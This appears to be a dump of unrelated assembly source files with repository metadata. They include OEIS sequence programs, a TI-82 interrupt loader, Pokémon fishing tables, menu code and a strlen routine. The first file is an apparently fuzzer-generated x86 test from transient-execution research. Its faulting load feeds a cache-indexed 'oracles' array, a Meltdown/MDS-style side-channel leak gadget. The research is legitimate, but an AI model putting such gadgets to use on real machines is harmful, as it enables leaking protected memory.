2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_315.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_315.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x177c0, %rsi lea addresses_WT_ht+0xe8e0, %rdi nop nop nop nop nop xor %rdx, %rdx mov $1, %rcx rep movsq nop xor %rcx, %rcx lea addresses_WC_ht+0x1afc0, %r11 nop nop nop nop dec %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %r11 movaps %xmm7, (%r11) nop and $10617, %r13 lea addresses_D_ht+0x3928, %rsi lea addresses_WC_ht+0x140c0, %rdi nop lfence mov $22, %rcx rep movsq nop nop nop nop nop xor %rdi, %rdi lea addresses_D_ht+0x37c0, %rdi nop nop nop nop nop and %rsi, %rsi movw $0x6162, (%rdi) nop nop nop nop xor $62817, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r9 push %rax push %rbp push %rbx push %rdx push %rsi // Store lea addresses_D+0x11738, %rax nop inc %rdx mov $0x5152535455565758, %rbp movq %rbp, (%rax) // Exception!!! nop nop nop nop mov (0), %rsi nop nop and $11274, %r9 // Load mov $0x44da4400000003c0, %rax nop nop dec %rsi movaps (%rax), %xmm2 vpextrq $0, %xmm2, %r9 nop nop and $18700, %rax // Store lea addresses_WC+0x9000, %r15 inc %r9 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 movaps %xmm4, (%r15) nop nop nop nop cmp %rbp, %rbp // Store lea addresses_normal+0xed30, %rax nop nop nop nop add %r15, %r15 mov $0x5152535455565758, %rdx movq %rdx, %xmm6 vmovaps %ymm6, (%rax) nop nop nop and %rsi, %rsi // Faulty Load mov $0x44da4400000003c0, %rax sub %rbx, %rbx movups (%rax), %xmm3 vpextrq $0, %xmm3, %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rbx pop %rbp pop %rax pop %r9 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'size': 32, 'NT': True, 'same': False, 'congruent': 3}} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
36.053254
2,999
0.658625
1a88db73050de386335b6d8a4cb058aa27cde989
424
asm
Assembly
oeis/143/A143901.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/143/A143901.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/143/A143901.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A143901: Rectangular array R by antidiagonals: R(m,n) = floor((m*n+1)/2). ; Submitted by Jamie Morken(s3) ; 1,1,1,2,2,2,2,3,3,2,3,4,5,4,3,3,5,6,6,5,3,4,6,8,8,8,6,4,4,7,9,10,10,9,7,4,5,8,11,12,13,12,11,8,5,5,9,12,14,15,15,14,12,9,5,6,10,14,16,18,18,18,16,14,10,6,6,11,15,18,20,21,21,20,18,15,11,6,7,12,17,20,23,24,25,24 seq $0,3991 ; Multiplication table read by antidiagonals: T(i,j) = i*j, i>=1, j>=1. add $0,1 div $0,2
53
212
0.625
8a8e737269df6d4349d5420da6f7869098a5b225
2,603
asm
Assembly
lib/int82.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
1
2018-09-04T23:07:24.000Z
2018-09-04T23:07:24.000Z
lib/int82.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
lib/int82.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; Ti82 interrupt loader - by Henk Poley ; Based upon several sources, uses APD_BUF to put the IV-table and interrupt ;----------------------------------------------------------------------------- ; You only need to have an interrupt marked with IntProcStart ; at the beginning, and IntProcEnd at the end of your interrupt. ; Since CrASH moves your program when executing the TIOS keyhandler, ; we need to put the interrupt into a safe RAM area, here we use ; the APD_BUF for that. (you need to enable IM2 yourself) ; ; NEW: ; - Interrupt won't go 'boom' because of CR_KHAND relocation. ; - Uses the CrASH protocol for installing interrupts. ;----------------------------------------------------------------------------- ;defc INT_STATE = $8D72 ; 1 byte - Interrupt status (0 = no running interrupt) ;defc CURSOR_POS = $800C ; 2 bytes - Cursor Position ld a,(INT_STATE) ; Find the Interrupt State or a ; jr z,OK ; If clear, install interrupt ; ld hl,$0002 ; Display starting second row ld (CURSOR_POS),hl ; ld hl,UnloadStr ; Display the UnloadStr call $8D74 ; ROM_CALL(D_ZT_STR) defw $38FA ; call $8D91 ; CALL CR_KHAND (Wait for a key) jp cleanup ; -> quit ; .UnloadStr ; defm "Please disable " ; defm "the interrupt " ; defm "that is running." ; defb 0 ; .OK ; im 1 ; For safety reasons... ld a,$84 ; ld i,a ; IV table will be at $8400-$8500 ld bc,$0100 ; IV table is 256 bytes long ld h,a ; ld l,c ; HL = $8400 ld d,a ; ld e,b ; DE = $8401 dec a ; dec a ; A = $82 ld (hl),a ; Set first number of IV table ldir ; Copy from HL to DE, BC bytes ; Now, we DON'T setup a JP IntProcStart, because when CR_KHAND ; relocates this code, things will go horribly wrong. So we ; just put the whole interrupt (about 92 bytes) into APD_RAM ld hl,IntProcStart ; ld d,a ; ld e,a ; DE = $8282 ld bc,IntProcEnd-IntProcStart ldir ; ; Registers by now: ; ------------------------------------------------------ ; A = $82 ; HL = IntProcStart + (IntProcEnd-IntProcStart) ; DE = $8282 + (IntProcEnd-IntProcStart) ; BC = $0000 ; F = destroyed ; ------------------------------------------------------ ; Memory usage in APD_BUF: ; ------------------------------------------------------ ; $8228 / $8281 - 90 bytes - free ; $8282 / $83FF - 382 bytes - partialy used by interrupt ; $8400 / $8500 - 256 bytes - IV table ; $8501 / $8528 - 40 bytes - free ; ------------------------------------------------------ ; See the interrupt routines themselves for ; further info of memory useage.
33.371795
82
0.560507
56078f6cc533ce1111a4d302d8609ecb888e9952
630
asm
Assembly
programs/oeis/294/A294091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/294/A294091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/294/A294091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A294091: Numbers k such that (k - 1)/2 is prime that are not congruent to -1 mod 8. ; 5,11,27,35,59,75,83,107,123,147,179,195,203,219,227,275,299,315,347,363,387,395,459,467,483,515,539,555,563,587,627,635,675,699,707,747,779,795,803,819,843,867,899,915,923,1019,1043,1083,1115,1139,1155,1187,1203,1227,1235,1283,1307,1323,1347,1355,1403,1419,1467,1515,1523,1539,1547,1595,1619,1643,1659,1707,1715,1755,1763,1859,1875,1883,1907,1955,1995,2019,2027,2043,2067,2099,2123,2139,2187,2195,2219,2235,2259,2307,2363,2387,2403,2427,2435,2459 seq $0,280084 ; 1 together with the Pythagorean primes. max $0,2 mov $1,$0 add $1,1 add $0,$1
70
448
0.744444
766199d98c23cfc57d4c92375d7ae7288c746733
373
asm
Assembly
programs/oeis/157/A157528.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/157/A157528.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/157/A157528.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A157528: Triangle read by rows: t(n,m) = 1 if n=m or m=1, otherwise t(n,m) = 2*m*(n-m). ; 1,1,1,1,2,1,1,4,4,1,1,6,8,6,1,1,8,12,12,8,1,1,10,16,18,16,10,1,1,12,20,24,24,20,12,1,1,14,24,30,32,30,24,14,1,1,16,28,36,40,40,36,28,16,1,1,18,32,42,48,50,48,42,32,18,1 seq $0,4247 ; Multiplication table read by antidiagonals: T(i,j) = ij (i>=0, j>=0). mul $0,2 trn $0,1 add $0,1
46.625
170
0.605898
1fdf480d84accd9e369d2e20e9dd16765ae4fd8c
856
asm
Assembly
programs/oeis/126/A126995.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/126/A126995.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/126/A126995.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A126995: a(n) = binomial(prime(n+2), 3). ; 1,10,35,165,286,680,969,1771,3654,4495,7770,10660,12341,16215,23426,32509,35990,47905,57155,62196,79079,91881,113564,147440,166650,176851,198485,209934,234136,333375,366145,419220,437989,540274,562475,632710,708561,762355,848046,939929,971970,1143135,1179616,1254890,1293699,1543465,1823471,1923825,1975354,2081156,2246839,2303960,2604125,2796160,2997411,3208094,3280455,3504050,3658620,3737581,4149466,4775385,4965115,5061836,5259030,5989445,6322120,6903565,7023974,7268976,7647059,8171255,8579746,9001629,9290431,9735114,10349790,10666600,11319484,12172369,12347930,13251095,13436856,14004539,14391741,14985824,15803060,16222590,16435111,16865705,18202479,19131795,19608085,20584249,21084251,21849334,23434580,23706021,26243910,27128465 add $0,1 seq $0,6005 ; The odd prime numbers together with 1. bin $0,3
122.285714
740
0.832944
d3d64632a8b43dea00959aca386ccfdcb202a5bf
1,921
asm
Assembly
data/super_rod.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/super_rod.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/super_rod.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
; super rod data ; format: map, pointer to fishing group SuperRodData: dbw PALLET_TOWN, FishingGroup1 dbw VIRIDIAN_CITY, FishingGroup1 dbw CERULEAN_CITY, FishingGroup3 dbw VERMILION_CITY, FishingGroup4 dbw CELADON_CITY, FishingGroup5 dbw FUCHSIA_CITY, FishingGroup10 dbw CINNABAR_ISLAND, FishingGroup8 dbw ROUTE_4, FishingGroup3 dbw ROUTE_6, FishingGroup4 dbw ROUTE_10, FishingGroup5 dbw ROUTE_11, FishingGroup4 dbw ROUTE_12, FishingGroup7 dbw ROUTE_13, FishingGroup7 dbw ROUTE_17, FishingGroup7 dbw ROUTE_18, FishingGroup7 dbw ROUTE_19, FishingGroup8 dbw ROUTE_20, FishingGroup8 dbw ROUTE_21, FishingGroup8 dbw ROUTE_22, FishingGroup2 dbw ROUTE_23, FishingGroup9 dbw ROUTE_24, FishingGroup3 dbw ROUTE_25, FishingGroup3 dbw CERULEAN_GYM, FishingGroup3 dbw VERMILION_DOCK, FishingGroup4 dbw SEAFOAM_ISLANDS_B3F, FishingGroup8 dbw SEAFOAM_ISLANDS_B4F, FishingGroup8 dbw SAFARI_ZONE_EAST, FishingGroup6 dbw SAFARI_ZONE_NORTH, FishingGroup6 dbw SAFARI_ZONE_WEST, FishingGroup6 dbw SAFARI_ZONE_CENTER, FishingGroup6 dbw CERULEAN_CAVE_2F, FishingGroup9 dbw CERULEAN_CAVE_B1F, FishingGroup9 dbw CERULEAN_CAVE_1F, FishingGroup9 db $FF ; fishing groups ; number of monsters, followed by level/monster pairs FishingGroup1: db 2 db 15,TENTACOOL db 15,POLIWAG FishingGroup2: db 2 db 15,GOLDEEN db 15,POLIWAG FishingGroup3: db 3 db 15,PSYDUCK db 15,GOLDEEN db 15,KRABBY FishingGroup4: db 2 db 15,KRABBY db 15,SHELLDER FishingGroup5: db 2 db 23,POLIWHIRL db 15,SLOWPOKE FishingGroup6: db 4 db 15,DRATINI db 15,KRABBY db 15,PSYDUCK db 15,SLOWPOKE FishingGroup7: db 4 db 5,TENTACOOL db 15,KRABBY db 15,GOLDEEN db 15,MAGIKARP FishingGroup8: db 4 db 15,STARYU db 15,HORSEA db 15,SHELLDER db 15,GOLDEEN FishingGroup9: db 4 db 23,SLOWBRO db 23,SEAKING db 23,KINGLER db 23,SEADRA FishingGroup10: db 4 db 23,SEAKING db 15,KRABBY db 15,GOLDEEN db 15,MAGIKARP
19.019802
53
0.799584
a557127c670e44bd877c1629ab522e5b07a3ffc1
447
asm
Assembly
oeis/037/A037681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/037/A037681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/037/A037681.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A037681: Base-4 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,3,2. ; Submitted by Christian Krause ; 1,4,19,78,313,1252,5011,20046,80185,320740,1282963,5131854,20527417,82109668,328438675,1313754702,5255018809,21020075236,84080300947,336321203790,1345284815161,5381139260644,21524557042579,86098228170318 mov $2,1 lpb $0 sub $0,1 add $1,$2 mul $1,4 add $2,3 mod $2,4 lpe add $1,$2 mov $0,$1
29.8
205
0.753915
7b036d325ac65fd23bbb5d6da657143f98e9c3c2
1,798
asm
Assembly
programs/oeis/127/A127330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/127/A127330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/127/A127330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A127330: Begin with the empty sequence and a starting number s = 0. At step k (k >= 1) append the k consecutive numbers s to s+k-1 and change the starting number (for the next step) to 2s+2. ; 0,2,3,6,7,8,14,15,16,17,30,31,32,33,34,62,63,64,65,66,67,126,127,128,129,130,131,132,254,255,256,257,258,259,260,261,510,511,512,513,514,515,516,517,518,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,2046,2047,2048,2049,2050,2051,2052,2053,2054,2055,2056,4094,4095,4096,4097,4098,4099,4100,4101,4102,4103,4104,4105,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,16382,16383,16384,16385,16386,16387,16388,16389,16390,16391,16392,16393,16394,16395,32766,32767,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,65534,65535,65536,65537,65538,65539,65540,65541,65542,65543,65544,65545,65546,65547,65548,65549,131070,131071,131072,131073,131074,131075,131076,131077,131078,131079,131080,131081,131082,131083,131084,131085,131086,262142,262143,262144,262145,262146,262147,262148,262149,262150,262151,262152,262153,262154,262155,262156,262157,262158,262159,524286,524287,524288,524289,524290,524291,524292,524293,524294,524295,524296,524297,524298,524299,524300,524301,524302,524303,524304,1048574,1048575,1048576,1048577,1048578,1048579,1048580,1048581,1048582,1048583,1048584,1048585,1048586,1048587,1048588,1048589,1048590,1048591,1048592,1048593,2097150,2097151,2097152,2097153,2097154,2097155,2097156,2097157,2097158,2097159,2097160,2097161,2097162,2097163,2097164,2097165,2097166,2097167,2097168,2097169,2097170,4194302,4194303,4194304,4194305,4194306,4194307,4194308,4194309,4194310,4194311,4194312,4194313,4194314,4194315,4194316,4194317,4194318,4194319,4194320 lpb $0 sub $0,1 mul $2,2 add $2,2 mov $1,$2 add $1,$0 add $3,1 trn $0,$3 lpe
138.307692
1,512
0.802558
9d910ae45d0c8dd022af7dfacd537943e5e0f8cc
557
asm
Assembly
oeis/319/A319159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/319/A319159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/319/A319159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A319159: Given an equilateral triangular grid with side n, containing n(n+1)/2 points, a(n) is the minimal number of points to be selected, such that any equilateral triangle of points will include at least one of the selection. ; 1,2,4,7,11,16,22,28,35,44,53,63,74,86 mov $1,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$0 mul $2,$3 add $1,$2 mul $1,2 mov $4,$5 cmp $4,0 add $5,$4 div $3,$5 mov $4,$0 cmp $4,0 mov $5,$0 add $5,$4 div $1,$5 div $2,$5 mul $2,2 sub $3,1 max $3,1 lpe mul $1,$0 div $1,$2 add $1,1 mov $0,$1
17.967742
230
0.605027
0ac17519d6474acc74dea35e1715c1cbdef60b4c
733
asm
Assembly
programs/oeis/078/A078070.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/078/A078070.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/078/A078070.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A078070: Expansion of (1-x)/(1 + 2*x + 2*x^2 + x^3). ; 1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3,1,0,1,-3,4,-3 mov $1,$0 add $0,2 add $1,$0 pow $1,2 div $1,3 mov $0,$1 lpb $0,1 sub $0,8 lpe mov $1,$0
52.357143
585
0.444748
f1b8c8d256cca0dd273ed5d530a5bcf87a52cf03
2,106
asm
Assembly
menu.asm
NotExactlySiev/psychofloat
4e6ee147e688d43c182f683f760e7a4a03620517
[ "CC0-1.0" ]
1
2021-07-06T17:41:36.000Z
2021-07-06T17:41:36.000Z
menu.asm
NotExactlySiev/psychofloat
4e6ee147e688d43c182f683f760e7a4a03620517
[ "CC0-1.0" ]
null
null
null
menu.asm
NotExactlySiev/psychofloat
4e6ee147e688d43c182f683f760e7a4a03620517
[ "CC0-1.0" ]
null
null
null
LoadMenu: subroutine jsr ClearState ldx #$3f PPU_SETADDR $23C0 .attr lda #$55 sta PPU_DATA dex bne .attr lda #$24 sta func0 sta PPU_ADDR lda #$a7 sta func1 lda #$8a sta PPU_ADDR ldx #$b6 .title stx PPU_DATA inx cpx #$c2 bcc .title ldx #$80 .logo lda func0 sta PPU_ADDR lda func1 sta PPU_ADDR ldy #18 .row stx PPU_DATA inx dey bne .row lda func1 clc adc #$20 sta func1 bcc .logo lda #$21 sta PPU_ADDR lda #$15 sta PPU_ADDR ldx #$c2 stx PPU_DATA inx stx PPU_DATA lda #25 sta func0 lda #16 sta func1 lda #<TXT_Credits jsr DrawText ldx #27 .loop lda MenuOptions,x sta options,x dex bpl .loop lda #STATE_MENU sta state lda #MENU_ITEMS-1 sta select lda #0 sta PPU_ADDR sta PPU_ADDR rts UpdateMenu: subroutine clc lda world asl asl tax ldy #4 .world lda Worlds,x sta options,y inx dey bne .world lda #$21 sta func6 lda #$63 sta func7 ldy #$ff ldx #MENU_ITEMS-1 .loop lda func6 sta PPU_ADDR lda func7 sta PPU_ADDR lda #0 cpx select bne .nthis lda #$5f .nthis sta PPU_DATA bit PPU_DATA .caption iny lda options,y beq .out sta PPU_DATA bne .caption .out lda func7 clc adc #$40 sta func7 lda func6 adc #0 sta func6 dex bpl .loop lda #0 sta PPU_ADDR sta PPU_ADDR rts
14.625
25
0.412631
b7960b6a1ce3869780e53db5e72d23e2ef099abb
815
asm
Assembly
c6ers/interlnk/paragon/lib/strlenf.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/interlnk/paragon/lib/strlenf.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/interlnk/paragon/lib/strlenf.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;*** ;* $Workfile: strlenf.asm $ ;* $Revision: 1.1 $ ;* $Author: Dave Sewell $ ;* $Date: 09 Oct 1989 11:56:14 $ ;* ;* strlenf.asm Alan Butt April 26, 1988 ;* ;* String length routine for far pointers. ;* % .MODEL memmodel, PASCAL IF @CodeSize .CODE PARAGON_TEXT ELSE .CODE ENDIF ; extern unsigned int pascal strlenf(char far *str); ;* ;* string length of far string ;* strlenf PROC USES DI, str:FAR PTR BYTE les di, str xor al, al mov cx, -1 repne scasb mov ax, cx not ax dec ax ret strlenf ENDP END
19.404762
54
0.418405
c5d87273b89ae0824e953763b1857f20dde461af
332
asm
Assembly
programs/oeis/191/A191900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/191/A191900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/191/A191900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
